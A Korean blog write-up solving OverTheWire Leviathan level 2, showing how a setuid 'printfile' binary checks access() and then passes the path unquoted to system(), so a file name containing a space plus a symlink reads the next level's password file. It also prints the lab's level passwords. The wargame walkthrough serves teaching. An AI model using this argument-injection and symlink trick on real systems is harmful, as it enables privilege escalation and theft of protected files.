[overthewire] Leviathan level2 풀이문서

mj·2023년 1월 13일
0
post-thumbnail

접속

ssh -p 2223 leviathan2@leviathan.labs.overthewire.org
pw: ougahZi8Ta

주어진 정보 확인

현재 디렉터리에서 정보를 확인한다.

leviathan2@leviathan:~$ ls -al
total 28
drwxr-xr-x  2 root       root       4096 Aug 26  2019 .
drwxr-xr-x 10 root       root       4096 Aug 26  2019 ..
-rw-r--r--  1 root       root        220 May 15  2017 .bash_logout
-rw-r--r--  1 root       root       3526 May 15  2017 .bashrc
-r-sr-x---  1 leviathan3 leviathan2 7436 Aug 26  2019 printfile
-rw-r--r--  1 root       root        675 May 15  2017 .profile
leviathan2@leviathan:~$ file printfile 
printfile: setuid ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=46891a094764828605a00c0c38abfccbe4b46548, not stripped
leviathan2@leviathan:~$ 

현재 디렉터리를 확인해보니까 pringfile이라는 바이너리 파일이 있다. 해당 파일에 setuid가 걸려있는 것으로 보아 해당 파일을 이용하여 level3의 password를 얻어야되는 것 같다.

해당 파일을 실행시켜보자

leviathan2@leviathan:~$ ./printfile 
*** File Printer ***
Usage: ./printfile filename
leviathan2@leviathan:~$ ./printfile /etc/leviathan_pass/leviathan3
You cant have that file...
leviathan2@leviathan:~$ ./printfile /etc/leviathan_pass/leviathan2
/bin/cat: /etc/leviathan_pass/leviathan2: Permission denied

해당 파일을 실행시켜보니 file 내용을 프로그램 같다. 해당 프로그램을 사용하여 /etc/leviathan_pass/leviathan3/etc/leviathan_pass/leviathan2를 읽어보려고 시도했더니 각각 다른 문구가 뜨면서 파일이 읽어지지 않았다.

/etc/leviathan_pass/leviathan3 파일은 어떠한 이유때문에 You cant have that file문구가 뜨는 것 같고, /etc/leviathan_pass/leviathan2 파일은 setuid로 인해 프로그램이 실행되면서 effective uid가 leviathan3으로 설정되어 Permission denied가 뜨는 것 같다.

ltrace툴을 사용하여 프로그램이 대략적으로 어떻게 돌아가는지 확인해보자

leviathan2@leviathan:~$ ltrace -i ./printfile /etc/leviathan_pass/leviathan3
[0x8048451] __libc_start_main(0x804852b, 2, 0xffffd764, 0x8048610 <unfinished ...>
[0x804858a] access("/etc/leviathan_pass/leviathan3", 4) = -1
[0x804859e] puts("You cant have that file..."You cant have that file...
) = 27
[0xffffffffffffffff] +++ exited (status 1) +++
leviathan2@leviathan:~$ mkdir /tmp/levia2
leviathan2@leviathan:~$ cd /tmp/levia2
leviathan2@leviathan:~$ touch /tmp/levia2/pass.txt
leviathan2@leviathan:~$ ltrace -i ./printfile /tmp/levia2/pass.txt
[0x8048451] __libc_start_main(0x804852b, 2, 0xffffd754, 0x8048610 <unfinished ...>
[0x804858a] access("/tmp/levia2/pass.txt", 4) = 0
[0x80485c7] snprintf("/bin/cat /tmp/levia2/pass.txt", 511, "/bin/cat %s", "/tmp/levia2/pass.txt") = 29
[0x80485cf] geteuid()                        = 12002
[0x80485d6] geteuid()                        = 12002
[0x80485e0] setreuid(12002, 12002)           = 0
[0x80485f2] system("/bin/cat /tmp/levia2/pass.txt" <no return ...>
[0xf7fd7c99] --- SIGCHLD (Child exited) ---
[0x80485f2] <... system resumed> )           = 0
[0xffffffffffffffff] +++ exited (status 0) +++

프로그램에서는 access함수를 통해 파일에 접근을 시도하고 있다.
access 함수의 검증이 통과했을 경우에는 seteuid를 설정한 후에 system() 함수를 통해 /bin/cat 명령어를 실행하고 있다.
access 함수가 어떤 동작을 하는지 알아보기 위해 manpage를 찾아보자

       access() checks whether the calling process can access the file
       pathname.  If pathname is a symbolic link, it is dereferenced.

       The check is done using the calling process's real UID and GID,
       rather than the effective IDs as is done when actually attempting
       an operation (e.g., open(2)) on the file. 

access 함수의 manpage를 확인해보니 해당 함수는 인자값으로 주어진 파일이 접근할 권한이 있는지 확인하는 함수라고 나와있다.

하지만 권한을 확인할 때는 effective user id가 아닌 read user id로 확인한다고 나와있다.

아마 맨 처음 /etc/leviathan_pass/leviathan3파일을 읽을려고 시도했을 때는 effective uid가 아닌 real uid 권한으로 접근을 해서 파일을 못 읽은 것 같다.

access 함수를 속이기 위해 /etc/leviathan_pass/leviathan3 파일의 심볼릭 링크 파일을 만들고, 그 심볼릭 링크 파일명을 포함한 다른 파일을 만들어보자

leviathan2@leviathan:/tmp/levia2$ ln -s /etc/leviathan_pass/leviathan3 ./pass
leviathan2@leviathan:/tmp/levia2$ touch pass\ temp
leviathan2@leviathan:/tmp/levia2$ ls -al
total 268
drwxr-sr-x   2 leviathan2 root   4096 Jan 23 15:08 .
drwxrws-wt 167 root       root 266240 Jan 23 15:17 ..
lrwxrwxrwx   1 leviathan2 root     30 Jan 23 15:02 pass -> /etc/leviathan_pass/leviathan3
-rw-r--r--   1 leviathan2 root      0 Jan 23 15:02 pass temp

이제 pass 파일과 pass temp 파일이 만들어 졌다. 만약 pass temp 파일을 printfile을 사용하여 읽는다면 access 함수의 호출은 아래와 같을 겻이다.

access("/tmp/levia2/pass\ temp", 4)

이 경우 "/tmp/levia2/pass\ temp" 파일의 주인은 leviathan2이므로 검증에 성공하게 된다.

그 후 system 함수의 호출은 아래와 같을 것이다.

system("/bin/cat /tmp/levia2/pass\ temp")

이 경우에는 cat /tmp/levia2/pass temp 처럼 명령어가 실행되기 때문에 아래와 같이 /tmp/levia2/pass 파일과 temp 파일을 읽는 명령어처럼 실행이 된다.

leviathan2@leviathan:/tmp/levia2$ cd ~
leviathan2@leviathan:~$ ./printfile /tmp/levia2/pass\ temp
Ahdiemoo1j
/bin/cat: temp: No such file or directory

password를 획득했다.

id: leviathan3
pw: Ahdiemoo1j

profile
사는게 쉽지가 않네요

0개의 댓글